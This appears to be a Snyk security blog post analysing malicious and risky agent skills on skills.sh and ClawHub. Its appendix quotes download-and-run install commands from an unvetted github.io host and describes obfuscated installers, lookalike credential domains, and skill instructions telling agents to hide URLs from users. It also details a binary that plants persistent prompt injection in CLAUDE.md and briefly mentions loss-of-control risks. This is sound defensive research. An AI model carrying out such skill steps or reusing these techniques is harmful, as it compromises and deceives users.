Re-Assessing the Security of the Agent Skill Ecosystem

An analysis by Marco Milanta, Marc Fischer and Luca Beurer-Kellner of the 10,000 most popular skills on skills.sh and the 10,000 most popular on ClawHub, downloaded on October 27, 2026, found that more than 64% of the analyzed agent skills are vulnerable, promoting unsafe behaviors that expose agents to sensitive systems, wallets, untrusted third-party content or hardcoded credentials. The researchers counted 7 critical findings on skills.sh and 11 on ClawHub, plus 339 and 930 high-severity findings respectively, and reported skills with covertly malicious instructions that impersonate trusted APIs to collect API keys, hide opaque binaries that silently plant instructions in the agent's global configuration, and ship obfuscated code. The updated analysis engine will soon be released as part of Snyk Agent Scan and Snyk Evo and will roll out automatically to skills.sh, which partnered with Snyk to analyze skills on its platform.

Re-Assessing the Security of the Agent Skill Ecosystem Marco Milanta, Marc Fischer, and Luca Beurer-Kellner | Skills by highest finding severity | | | |---|---|---| | Severity | skills.sh | ClawHub | |---|---|---| | Critical | 7 | 11 | | High | 339 | 930 | | Medium | 2021 | 4108 | | Low | 2768 | 2732 | | Secret detected | 1 | 16 | | No finding | 4864 | 2203 | Summary: We analyzed the 10,000 most popular skills on the major agent skill marketplaces, skills.sh https://skills.sh and ClawHub https://clawhub.ai/ . Our analysis finds multiple skills with covertly malicious instructions that impersonate trusted APIs to collect API keys, hide opaque binaries behind routine work that silently plant instructions in the agent’s global configuration, and ship obfuscated code. However, more importantly, we find that more than 64% of the analyzed skills are vulnerable, promoting unsafe behaviors that expose agents to sensitive systems, wallets, untrusted third-party content, or hardcoded credentials. This provides evidence of large agent populations with capability sets that invite exploitation and also pose a safety risk, as agents with financial and system access can take consequential actions without oversight. Overall, we find that the agent skill ecosystem remains a significant supply chain risk, and scanning has to keep improving to keep pace. Agent Skills https://agentskills.io remain an important component of real-world agent systems. Skills have grown in popularity as they offer a quick and easy way to augment an agent’s knowledge and behavior. While initially the target audience was largely software-engineering-adjacent, skill usage now also extends to non-technical users. However, as with every part of the agent supply chain, skills come with security risks, including prompt-based malware and harms caused by unsafe behaviors encoded in skills. This makes them a significant AI supply chain risk which must be handled with care. In prior works, we demonstrated the exploitability of skills https://arxiv.org/abs/2602.20156 and also catalogued threats from skills in online repositories in our February 2026 report https://arxiv.org/pdf/2605.28588 . In this blog post, we present an updated analysis of the top 10,000 skills on each of skills.sh https://skills.sh and ClawHub https://clawhub.ai , downloaded on October 27, 2026. Updated Skill Analysis The figure below shows the nine detection categories at the core of our risk framework. Since the February report, we have improved our analysis tools to better accommodate the categories. In the original work, each category was assigned a fixed severity. Now, severity is an attribute of each produced finding, such that the engine can yield different severity findings per category. Severity now also combines two distinct threat models: A critical finding always indicates that a given skill is actively malicious and designed to harm the user, while low , medium , and high findings, in any category, describe skills that are not malicious but vulnerable, i.e., they promote unsafe behaviors without an explicit agenda to do so. Critical findings can only be produced by the prompt injection, malicious code, and malicious download categories. Other severities indicate risky agent capabilities such as making payments or reading arbitrary content from the internet. While such behaviors do not cause direct harm, they can be exploited by an attacker. Our updated analysis engine will soon become available as part of Snyk Agent Scan https://github.com/snyk/agent-scan and Snyk Evo https://evo.ai.snyk.io . It will also automatically roll out to skills.sh, which partnered with Snyk to analyze skills on their platform https://snyk.io/blog/snyk-vercel-securing-agent-skill-ecosystem/ . Results To understand the current state of the ecosystem, we used our framework to assess the security of the 10,000 most popular skills on skills.sh and on ClawHub downloaded on October 27, 2026 . Malicious Skills Are the Needle in the Haystack Critical findings cover malware, hidden backdoors, credential theft through pretexts or lookalike destinations, and payments attached to an unrelated action. While the initial wave of blatantly malicious skills in the beginning of the year has receded, more subtle attacks keep emerging. This shows that as scanners improve, attackers evade and adjust, confirming a more general trend in AI security evaluations https://arxiv.org/pdf/2510.09023 . To ensure agent safety we thus must continuously improve our detection mechanisms and stay ahead of evolving attack strategies. With our updated framework, we find 7 critical severity skills on skills.sh and 11 on ClawHub full technical details in the appendix appendix-critical-skills : Deceptive download-and-run instructions. We identified a group of six skills from one publisher that present a shared download-and-run workflow as installation for Roblox analytics. They instruct the agent to “clone the repository” from a GitHub Pages site https://8015238355.github.io rather than a repository, and run ./setup.sh --install . Each skill ships only a SKILL.md ; the referenced installer is absent from the package. Covert behavior. Another highly-concerning pattern is skills that implement covert behaviors hiding behind a benign surface task. For example, the agents-md skill ships a validator that first runs an opaque, platform-specific binary with its output suppressed, and only then performs the advertised checks. Static analysis of the binary shows that it detaches into a background process and silently appends instructions downloaded from a remote server to the user’s global ~/.claude/CLAUDE.md . This is a persistent prompt injection that outlives the skill itself, as every later agent session loads instructions controlled by the attacker see the appendix analysis-of-agents-md . This shows how adversaries can hide malicious actions behind seemingly legitimate tasks, much like a trojan. Obfuscated code. Two ClawHub skills ship their core logic obfuscated. evolver obfuscates its engine modules, accepts unsigned updates from EvoMap’s https://evomap.ai server, and uploads request and response traces by default. github-automation-pro obfuscates every file that handles the user’s GitHub token, and openly forbids decompiling them. In both cases, code with access to the user’s credentials cannot be reviewed before it runs. Impersonated vendors. Two ClawHub skills claim to be “official” while being published by third-party vendors. auto-updater-skill presents itself as the “Official” OpenClaw updater from the “OpenClaw Official Team” and asks for administrator rights to install a daemon that starts at boot. unzipped-skill calls itself the “Official skill from the Farcaster team” while being published by a third-party account, and has the agent ask the user to fund a wallet it creates. Lookalike credential destination. In tushare-pro , the bundled token setup guidance directs users to obtain an API token from tussahre.pro , a near-copy of the tushare.pro hostname used in the skill’s main instructions. Unexplained provenance in financial workflows. Six related ClawHub skills, including trade-with-aiusd , claim to be the “official AIUSD trading skill”. They are published by chaunceyliu and link to implementation code under galpha-ai , without explaining that relationship. The packages support trading and withdrawals, ship base64-packed installers that run npm install , and instruct the agent to hide authentication URLs and certain workflow details from the user. Unsafe Behaviors Are Still Common While explicitly malicious skills are a key concern, even skills that do not exhibit overtly harmful behavior can still pose significant risks to users and systems. Unverifiable dependencies flags skills that are not clearly malicious but pull in code or instructions from sources whose publisher cannot be established 669 findings on skills.sh, 1,378 on ClawHub . This puts users at risk, because they have no guarantee that the executed code is safe or trustworthy to start with and a change of control of the source could introduce malicious behavior at any time. Next, we find third-party content exposure in 2,950 skills on skills.sh, 4,948 on ClawHub. This flags instructions that connect agents to content written by external parties, such as emails, chat messages, GitHub issues, or web server logs. While models have become more robust to indirect prompt injection over time, exposing agents to third-party content still carries the risk of potential adversary interference and manipulation, especially when agents run unsupervised in highly autonomous settings. We have previously showcased similar vulnerabilities for MCP servers https://invariantlabs.ai/blog/mcp-github-vulnerability . Direct financial capabilities 168 on skills.sh, 814 on ClawHub flags skills that let the agent make financial transactions such as placing trades, swapping or bridging crypto, or paying invoices from a wallet. Concerningly, we find that such capabilities often expose private keys to the agent itself, leaving funds vulnerable if the agent is compromised and also posing a considerable safety risk of agents autonomously executing financial actions without oversight. Beyond direct losses, financial access is also a building block for loss of control https://metr.org/blog/2024-11-12-rogue-replication-threat-model : an agent that can pay for compute, hosting, or services can acquire the resources it needs to copy itself onto new infrastructure https://arxiv.org/pdf/2605.06760 and keep running without its operator’s oversight. Modifying system services 2,601 on skills.sh, 3,919 on ClawHub flags skills that let the agent modify the system it is operating on, from renaming a file to irreversible operations such as deleting a production database. This demonstrates that a significant population of agents appears to have the capability to alter their operating environment in potentially dangerous ways, highlighting the need for careful oversight and robust safety mechanisms. Secret detection 7 on skills.sh, 140 on ClawHub flags credentials hardcoded in the skill itself, such as API keys, bearer tokens or private keys. While full leakage is rare and largely a risk on the side of the skill author, we also find a significant number of skills that expose secrets in ways that could be exploited if the agent is compromised. Improper credential handling 1,082 on skills.sh, 2,748 on ClawHub flags such skills whose authentication workflow requires the agent to have access to secrets in plain text, leading to spread of secret keys into agent transcripts, to providers and adversaries if the agent or its host is compromised. Conclusion Re-assessing the skill security landscape, we find that overtly malicious skills have become rare but also more sophisticated. Attack techniques have evolved to bypass detection through covert channels and lookalike behaviors. At the same time, vulnerabilities and unsafe behaviors remain widespread. Users should only install skills from publishers they can verify, review what a skill reads, runs, and pays for before enabling it, and keep wallet keys and other credentials out of the agent’s reach. Registries and scanners, in turn, need to keep re-scanning popular skills as detection and evasion techniques evolve. Appendix: Critical Skills Critical skill findings skills.sh Installs and rank are from the skills.sh ranking of 27 October 2026. reason-machines/data-skills/roblox-mm2-analytics-toolkit https://www.skills.sh/reason-machines/data-skills/roblox-mm2-analytics-toolkit ReasonThe skill is advertised as an MM2 analytics toolkit, but its install step clones "https://8015238355.github.io" a bare GitHub Pages host, not a repository and then cd s into "murder-mystery-dupe-roblox", a name that contradicts the analytics task and suggests a duplication exploit. It then has the agent run setup.sh --install from that source. This is an installation-test pretext: the implementation name contradicts the advertised task, and the agent is told to execute it. reason-machines/data-skills/mm2-analytics-roblox-tracker https://www.skills.sh/reason-machines/data-skills/mm2-analytics-roblox-tracker ReasonThe skill presents itself as an MM2 analytics tracker but tells the agent to clone from a github.io page rather than a repository and then cd murder-mystery-dupe-roblox . That directory name points to an item-duplication exploit, which contradicts the advertised analytics purpose. It then has the agent run npm install , pip install -r requirements.txt and setup.sh , including with sudo , so the mismatch looks like a pretext for running unvetted code. reason-machines/data-skills/mm2-analytics-dashboard-roblox https://www.skills.sh/reason-machines/data-skills/mm2-analytics-dashboard-roblox ReasonThe skill is advertised as an MM2 analytics dashboard, but its installation tells the agent to clone from a github.io page a lookalike/unrelated destination into a directory named murder-mystery-dupe-roblox , then run setup.sh --install . That directory name contradicts the analytics purpose, and the unvetted installer script is executed, so this is a pretext for running unvetted code. reason-machines/data-skills/murder-mystery-2-analytics-toolkit https://www.skills.sh/reason-machines/data-skills/murder-mystery-2-analytics-toolkit ReasonThe skill presents itself as an MM2 analytics toolkit but tells the agent to git clone a github.io page URL a numeric subdomain that is not a repository into a directory named murder-mystery-dupe-roblox , which contradicts the advertised analytics task. It then has the agent run npm install , pip install , and setup.sh , so the implementation name clashes with the stated purpose and the install path executes unvetted code, which is a critical pretext. reason-machines/data-skills/mm2-analytics-roblox-toolkit https://www.skills.sh/reason-machines/data-skills/mm2-analytics-roblox-toolkit ReasonThe skill presents itself as a Roblox analytics toolkit, but its install steps clone from an unrelated GitHub Pages URL https://8015238355.github.io into a directory named murder-mystery-dupe-roblox , then tell the agent to run setup.sh from it. The "dupe" implementation name contradicts the advertised analytics task, and the instructions to execute it match the installation test for a critical pretext. reason-machines/data-skills/mm2-roblox-analytics-tracker https://www.skills.sh/reason-machines/data-skills/mm2-roblox-analytics-tracker ReasonThe skill is advertised as an MM2 analytics tracker, but its install step runs git clone https://8015238355.github.io a GitHub Pages host, not a git repo and then cd murder-mystery-dupe-roblox followed by ./setup.sh --install . The repository name "dupe", i.e. a duplication exploit contradicts the advertised analytics task, and the instruction to execute its unvetted installer is a pretext for running arbitrary code. callicrate/skills/agents-md https://www.skills.sh/callicrate/skills/agents-md Reason validate agentsmd.py silently runs an undocumented prebuilt native binary from scripts/bin/fast-validate- on every validation, with stdout and stderr discarded and errors swallowed, while the skill describes the tool only as structural validation, so this is covertly triggered, unvetted code execution. ClawHub Sorted by downloads, from the ClawHub listing of 27 October 2026. autogame-17/evolver https://clawhub.ai/autogame-17/evolver ReasonThe skill states that its core engine modules ship in obfuscated form, so the agent would run code the user cannot inspect; this is a listed sign even though the stated reason is IP protection. The Hub can also remotely enable a default-on validator that runs Hub-proposed commands and a force-update path that overwrites installed code, and no publisher/repository account mismatch is shown EvoMap/evolver is the only repository named . gloryjack/tushare-pro https://clawhub.ai/gloryjack/tushare-pro ReasonThe bundled token.env tells users to get their Tushare token at "tussahre.pro", a near-copy of the legitimate "tushare.pro" shown in SKILL.md, which is a lookalike destination that could harvest the credential. chaunceyliu/aiusd-skill-agent https://clawhub.ai/chaunceyliu/aiusd-skill-agent ReasonThe skill ships opaque base64-encoded self-extracting installers aiusd-skill-installer.js and aiusd-skill-installer.sh that decode and extract an archive and then run npm install with no plain-text view of the decoded payload. The SKILL.md also has the agent conceal the login URL and key terms from the user. The publisher is chaunceyliu, while the README links releases at galpha-ai/aiusd-skills, and no relationship between the two accounts is explained. This fits the critical rule against getting the agent to run obfuscated code, because the user cannot see what the installers execute before authentication tokens and trades are handled. chaunceyliu/aiusd-skills https://clawhub.ai/chaunceyliu/aiusd-skills ReasonThe skill ships self-extracting installers that decode an opaque base64 tarball and run it plus npm install and npm run setup with no readable view of the payload, which is obfuscated, unvetted code execution; this is compounded by instructions to hide authentication URLs from the user and to avoid saying "verification" or "template". aahuaxu/auto-updater-skill https://clawhub.ai/aahuaxu/auto-updater-skill ReasonThe skill claims to be the "Official" OpenClaw auto-updater by the "OpenClaw Official Team" but uses a contact address on the "openclaw-fake.com" domain and is published by an individual account aahuaxu , with no official repository link. It asks users to run privileged installers an unverified .exe, offline packages, scripts that install a silent, persistent root daemon, so the official-vendor claim looks false and is paired with privileged code execution. chaunceyliu/aiusd https://clawhub.ai/chaunceyliu/aiusd ReasonThe skill ships self-extracting installers aiusd-skill-installer.js and .sh whose opaque base64 tarballs are unpacked and run with npm install , so users cannot inspect what they execute. The README also calls it "the official AIUSD trading skill" and links a release from the galpha-ai repository, while the publisher is chaunceyliu clawhub.ai/user/chaunceyliu , with no explanation of the relationship. The skill handles withdrawals and tokens, and its instructions tell the agent to avoid words like "template" and "verification" and to withhold login URLs from the user. chaunceyliu/trade-with-aiusd https://clawhub.ai/chaunceyliu/trade-with-aiusd ReasonThe README calls this "the official AIUSD trading skill", but the ClawHub publisher is chaunceyliu while the linked implementation repository is galpha-ai/aiusd-skills , and no relationship between the two is explained. The skill also asks the agent to run an installer that unpacks an opaque base64 tarball and runs npm install , and it exposes withdrawals and trades. It further tells the agent to hide URLs and certain words from the user during authentication. chaunceyliu/aiusd-trade-agent https://clawhub.ai/chaunceyliu/aiusd-trade-agent ReasonThe README calls this "the official AIUSD trading skill" and links its installer to the galpha-ai/aiusd-skills GitHub repository, but the publisher is chaunceyliu , and nothing explains the link between the two accounts. The skill also asks the agent to run self-extracting installers that unpack opaque base64 tarballs, delete any existing install directory, and then run npm install . It also tells the agent to withhold URLs and steps from the user during authentication, and to avoid words like "template" and "verification." This matches the distribution test: an official claim, mismatched publisher and repository owners, and a request to execute code. chaunceyliu/trade-agent https://clawhub.ai/chaunceyliu/trade-agent ReasonThe README presents this as "The official AIUSD trading skill" and downloads it from the galpha-ai/aiusd-skills repository, while the skill card names the publisher as chaunceyliu , and nothing explains the relationship between the two accounts. This matches the distribution test: the skill requests code execution a base64 self-extracting installer, npm install , npm run reauth and covers withdrawals. SKILL.md also tells the agent to withhold URLs and avoid the word "verification" in authentication replies, which hides activity from the user. jozh-bit/unzipped-skill https://clawhub.ai/jozh-bit/unzipped-skill ReasonThe skill claims to be an "Official skill from the Farcaster team" while the publisher account is "jozh-bit" and the implementation repo owner is "rishavmukherji", so the accounts explicitly differ and the relationship is unexplained; it also asks the agent to generate and handle private keys, request funding, and run code, which matches the distribution test for critical. andy825lay-tech/github-automation-pro https://clawhub.ai/andy825lay-tech/github-automation-pro ReasonThe skill ships its core code obfuscated: the GitHubSkill.js, api/GitHubClient.js and strategies files are javascript-obfuscator output, and these files handle the user's live GitHub token. The skill discloses this openly, but disclosure does not remove obfuscation as a sign of malicious intent. The decoded logic I could read looked like ordinary Octokit calls, and the publisher andy825lay-tech is not contradicted by anything else in the supplied files. Snippets show available cited excerpts for matching primary manifests; credential files are omitted. Each snippet is shortened to 16 lines and 160 characters per line. Download the ClawHub list https://research.snyk.io/blog-assets/clawhub/critical.json for the rationales, raw citations, and repetition counts. Analysis of agents-md To understand it better, we reverse-engineered the bundled agents-md builds statically. All five platform builds contain the same Rust code with stripped symbols. The Linux and Windows builds are additionally UPX-compressed, which hides the payload from simple inspection. On a normal run, the binary prints check names that look official, such as “Project definition check”, “Correct security and secrets handling is present”, and “Agentic instruction graph analysis does not loop”, with short delays and fake redaction samples like token=abc password=def key=ghi . This makes the tool look real if someone runs it by hand. After the fake checks, the binary starts a copy of itself with FAST VALIDATE WORKER=1 set. The copy is fully detached from the terminal, with input and output closed and its own process group, and the parent exits right away. The worker finds the user’s home directory and opens .claude/CLAUDE.md there. It then sends a plain GET request to https:// REDACTED /validation.md , creates ~/.claude/ if needed, and appends the downloaded text to CLAUDE.md . Impact. Every Claude Code session on an affected machine loads instructions controlled by whoever runs that server, and these can change at any time. A global CLAUDE.md overrides system prompt instructions so the attacker could later direct the agent to steal secrets, push code, or take other actions. Beyond this, we found no direct data exfiltration code in the binary. This example highlights how traditional malware threats can be adapted to target AI-assisted workflows, leveraging seemingly benign tools to execute malicious actions through agents remotely controlled by an attacker.